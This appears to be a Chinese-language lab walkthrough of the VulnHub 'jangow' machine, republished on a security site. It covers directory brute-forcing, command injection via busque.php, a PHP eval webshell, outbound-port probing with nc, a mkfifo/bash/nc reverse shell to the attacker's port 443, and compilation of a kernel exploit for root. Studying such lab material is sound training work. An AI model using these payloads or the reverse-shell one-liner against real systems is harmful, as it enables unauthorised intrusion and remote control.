vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

admin 2025年1月17日22:17:20评论8 views字数 3366阅读11分13秒阅读模式

前言

靶机:jangow,IP地址为192.168.10.9

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

该靶机目前只剩下一个了,之前记得是有两台构成系列的。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者在本公众号回复 jangow 获取下载链接

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

信息收集

使用nmap扫描端口

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

网站信息探测

访问80端口网站,发现有目录site,点击后,出现界面,这个界面真挺好看的

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

查看页面源代码,发现一个php界面,并且参数都有了

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

使用多款目录爆破工具,使用dirsearch,默认字典,发现隐藏文件,当然这里也可以设置其递归爆破,只是这样速度可能会稍慢

dirsearch -u http://192.168.10.9 -x 403,404 -e js
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

使用girb进行扫描,默认字典,发现wordpress

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

打开隐藏文件/backup,发现连接数据库的相关信息

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

用户名jangow01,密码abygurl69

尝试打开wordpress,发现并非cms,只是目录名称为这个,其内容就是site中的默认界面内容

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

漏洞利用

测试之前有的php文件,参数已经给出,测试有无注入点,如路径遍历等

这里可以使用ffuf或者burp等其他工具,执行发现一个可用语句

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.9/site/busque.php?buscar=FUZZ -fs 1
#-fs 1 是把原本界面大小1,直接过滤掉
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择
http://192.168.10.9/site/busque.php?buscar=%0a/bin/cat%20/etc/passwd

复制这个语句,通过浏览器访问,发现一个用户,也就是前面隐藏文件中的用户名jangow01和密码abygurl69

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

而且,可以看到这里是通过调用cat来查看的,是否表示这里可以进行命令执行,直接更换为ls,测试发现,成了!

http://192.168.10.9/site/busque.php?buscar=%0a/bin/ls
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

查看后,发现其代码调用system函数

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

这里虽然可以进行很多,不过既然给出了ftp,总要用一下,以上面获取的用户名和密码进行登录,如果存在这样的情况。用户名jangow01,密码abygurl69

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

发现这就是网站的一些文件,可以从这里查看,前面的都差不多发现了,在wordpress处发现一个config.php文件,是连接数据库的

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

用户名desafio02和密码abygurl69,这里打算再以这个凭证登录的,发现失败

反弹shell

那么回到网站上,尝试通过php文件获取一个反弹shell,不过在构造多条语句无果后,我测试了一下网络连通,发现kali可以连通靶机,但是反过来不行,导致流量无法出来。可能是这个php文件中还有其他的限制等情况

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择
16

这个流量没出去,不过既然命令可执行,就尝试在本地直接写一个php文件,然后再测试

写入是可以的,不过还是不能直接反弹shell,则,再写sh脚本,也是不行,这个肯定是防火墙之类的端口限制了,需要找到某个端口可以进行流量发送的,之前nmap扫描到的2180端口试试

也可能是system的问题,尝试写入一个新的

<?php @eval($_REQUEST['cmd']);?>

在浏览器输入

busque.php?buscar=echo '<?php @eval($_GET['cmd']);?>' > shell.php
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

webshell

尝试使用蚁剑等工具进行连接,发现成功,说明可以连接,只是进行端口限制,至于是哪个端口,需要进一步验证

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

也就是这里不仅是端口,还有函数也进行了限制,现在连接蚁剑的虚拟终端,查看flag

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

测试使用nc进行反弹,发现-e参数无法使用,并且还是端口问题,无法发出流量

尝试使用nc进行测试,也就是在靶机内去连接kali中的一些端口进行测试,因为这里kali是能连通靶机,主要是靶机连接kali的问题

测试端口情况

这里以一些常用端口进行测试,如21,22,23,53,80,111,443等等,当然也可以进行全端口的测试,只是等待时间有点太长了,这毕竟是打靶,知道方法即可

nc -zv -w20 192.168.10.2 21 22 23 25 53 80 110 111 135 139 143 443 445 3389 8080 >>result 2>&1

执行后,查看result,发现有一个端口可能存在连接,因为这里明确说明是拒绝连接,至少说明有流量产生

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

尝试测试这个端口能否把流量发送到kali,也就是测试能否通过这个端口进行通信

kali使用python开启一个http服务,定位在443端口

测试,确定在443端口是可以的,其他端口使用wget都是无法通信的状态

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

那么也就是,在靶机内,只要请求的外部资源是443端口的,就可以产生通信,也就是外部返回必须是443端口。

尝试在kali监听443端口,然后在靶机请求kali的443端口

因为之前测试,在蚁剑中是无法调用shnc -e的,那么可以通过写文件脚本,或者利用之前的命令执行链接进行反弹测试

获取反弹shell

比如这里在可访问的网站目录下,创建一个php脚本ff.php,然后在文件写入下面代码,为什么呢,因为测试多个,都没有反应

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f');?>

这时候,再通过浏览器访问这个脚本,以触发,即可反弹

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

或者在之前默认的命令执行处,把上面的反弹shell代码进行一个编码处理,然后通过浏览器传参执行,也是可以的

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.10.2 443 >/tmp/f

#
url编码处理
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%20192.168.10.2%20443%20%3E%2Ftmp%2Ff
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

提权

获取到第一个flag

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

使用find寻找具有SUID权限文件,发现sudo,测试发现并不可用

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

查看靶机内用户,发现和之前查看/etc/passwd一样,只要jangow01,使用su切换后,使用上面的密码abygurl69,登录成功,不过就是执行sudo还是无权,寻找其他方式

查看操作系统信息及内核

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

使用searchsploit搜索有无内核漏洞,发现几个,不过经过测试,可用的只有这个

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

查看该文件,其中有用法,以及测试主机

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

在靶机中使用gcc -v发现可以使用gcc命令,那么通过端口复用,把文件下载到靶机,也就是443端口复用,其余端口进行限制,不过这里还没权限知道规则

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

编译文件后,给予执行权限,然后直接运行

gcc 45010.c -o exp
chmod +x exp
./exp
vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

切换/root目录,查看最后的文件

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

使用iptables -L简单看一下拦截情况

vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

总结

该靶机主要考察以下几点:

  1. 对于目录型网站,可能存在隐藏文件,能否爆破出,windowslinux对于隐藏文件的名称是不一样的
  2. 对于连接数据库的文件,能否找到,并看懂
  3. 对于php文件,可能有的传参是具有注入点的,都要进行测试
  4. 对于反弹shell时,发现突然一下不能获取shell,但是浏览器看到一直在执行的话。要知道学会排查,获取一个个测试,直到有成功的。
  5. 考察webshell的使用,这里通过webshell以达到可以写入文件等的便捷操作,并且大部分时候,能够获取webshell会真的方便一些。
  6. 可以借助nc等靶机内有的一些扫描工具进行测试,因为有的从外面扫描是可以的,但是那是进站,对于内网的出站可能又是一个不一样的规则

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月17日22:17:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场【jangow靶机】,反弹shell的流量及端口选择https://cn-sec.com/archives/3641295.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息